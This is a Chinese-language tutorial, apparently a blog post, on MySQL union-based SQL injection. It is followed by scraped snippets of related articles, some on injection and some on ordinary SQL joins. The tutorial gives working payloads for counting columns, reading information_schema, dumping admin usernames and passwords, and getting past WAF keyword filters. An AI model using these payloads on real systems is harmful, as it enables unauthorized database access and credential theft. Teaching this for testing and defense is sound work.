sql注入之mysql的联合查询爆破

mysql的联合查询原理就是对mysql自带的系统表进行查询,因为系统表包含了所有数据库的属性。没有access表猜不出表名列名暴力破解的尴尬。

上图是我针对mysql的联合查询,画的系统表(系统数据库)的结构

以查询test数据库为例:

1.判断列数

union select 1,2,3,..........  直到页面返回正常为止

2.判断当前数据库

union select  database(),2,3,4,5   1的位置将会返回数据库的名字

数据库名 database()

数据库版本 version()

数据库用户 user()

操作系统 @@version_compile_os

3.查询表名

union select  group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema=‘test‘

//group_concat()使多行数据在一列显示

4.查询列名

union select group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_name=‘admin‘

5.查数据 (0x20是空格的意思)

方法一:

union select  group_concat(username,0x20,password),2,3,4,5 from test.admin  //将所有数据在一行显示

方法二

union select  concat(username,0x20,password),2,3,4,5,6 from one.admin    //因为网页限制只能显示一行数据,所以显示第一行数据

union select  concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in (‘root‘)  //把第一行的用户排除掉,第二行自动上来

union select  concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in (‘admin‘,‘root‘) //看第三行数据

简单绕过waf思路:

大小写绕过

ununionion  因为会过滤关键词union,所以这样写过滤后,前面un和后面的ion又拼成了一个新的union

 

时间: 2024-10-26 17:54:26

sql注入之mysql的联合查询爆破的相关文章

SQL注入之MySQL常用的查询语句

MySQL是一种使用很广的数据库,大部分网站都是用MySQL,所以熟悉对MySQL数据库的注入很重要. 首先来说下MySQL注入的相关知识点 在MySQL5.0版本之后,MySQL默认在数据库存放一个“information_schema”的数据库,在这个库中, SCHEMATA,TABLES和COLUMNS这三个表名是必须记住的. SCHEMATA表存储该用户创建的所有数据库的库名,在该表中记录数据库名的字段为SCEMA_NAME. TABLES表存储该用户创建的所有数据库的库名和表名,在该表

SQL语句对于多表联合查询重复字段的特殊语法处理

SQL语句对于多表联合查询重复字段的特殊语法处理 原创 2016年01月13日 14:22:36 5309 [sql] view plain copy SELECT m.*,d_name,r_name,m2.m_account as shangji_account FROM Member m,Member m2,Role r,Depart d WHERE m.m_rid=r.id and m.m_did=d.id and m.m_shangji=m2.id ORDER BY m.id DESC

SQL注入之mysql显错注入

在我们实际渗透中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情况,然后再选择对应的sqlmap脚本(如果有的话),本文主要是讲述如何通过mysql函数报错来进行注入,另外如何使用手工进行全程注入的利用过程,如果你知道sqlmap里面有对应的脚本的话,烦请告知一下,谢谢!. 图1 获取数据库失败 此时我们可以考虑下是否是显错注入,对于显错注入我们可以使用mysql

SQL 语句与性能之联合查询和联合分类查询

select * from t1 left join t2 on t2.sysno =t1.ASysNo left join t3 on t3.sysno =t2.ASysNo left join t4 on t4.sysno =t3.ASysNo left join t5 on t5.sysno =t4.ASysNo left join t6 on t6.sysno =t5.ASysNo left join t7 on t7.sysno =t6.ASysNo where t1.name lik

MySQL数据库联合查询与连接查询

联合查询 基本概念 联合查询是可合并多个相似的选择查询的结果集.等同于将一个表追加到另一个表,从而实现将两个表的查询组合在一起,使用为此为UNINO或UNION ALL 联合查询:将多个查询的结果合并到一起(纵向合并):字段数不变,多个查询的记录数合并 应用场景 1.将同一张表中不同的结果(需要对应多条查询语句来实现),合并到一起展示数据 2.最常见:在数据量大的情况下,会对表进行分表操作,需要对每张表进行部分数据统计,使用联合查询来将数据存放到一起显示 基本语法 select 语句 union

【mysql】联合查询

1. 三表联合查询 select XX,XX  from a , b , c 笛卡尔积,等同于cross join 4. cross join --列出两边所有组合,也叫笛卡尔集A.Rows * B.Rows select * from Sales S cross join Customers C 5. inner join = join --两边都有的才筛选出来 select * from Sales S inner join Customers C on S.Cust_Id = C.Cust

SQL注入实战-MySQL

靶场地址:https://mozhe.cn/bug/detail/MFZ4VjBxRnlIMHBUdGllRDJBMWtRZz09bW96aGUmozhe 进入靶场详情页,点击启动靶场,根据系统提供的信息进入靶场环境. Php注入mysql查询语句,由地址中的"?id=MQo="可以看出,此处传递时用了base64编码,base64解码"id=MQo="为1,常用mysql注入语句: 这里仅列出常用的信息注入语句: 暴出字段数 order by x 利用内置函数暴出

mysql:联合查询

SELECT t1.name, t2.salary  FROM employee AS t1 INNER JOIN info AS t2 ON t1.name = t2.name; 可以对数据表使用别名 select t1.id,t2.idfrom t1left join t2 on t1.id = t2.id and t1.id>1 and t2.id<>3 http://wenku.baidu.com/link?url=r-ks3kd0ZtGJtLW9vKq_B7kAEJtugvPa

thinkphp 使用原生mysql语句 联合查询

<?php class DelAction extends Action { public function ml(){ // 实例化一个空模型,没有对应任何数据表 $Dao = M(); //或者使用 $Dao = new Model(); $div = $Dao->query("SELECT xp_wztj.time,xp_wztj.bt,xp_wztj.id,xp_wzfl.name FROM xp_wztj, xp_wzfl WHERE xp_wztj.uid = xp_wz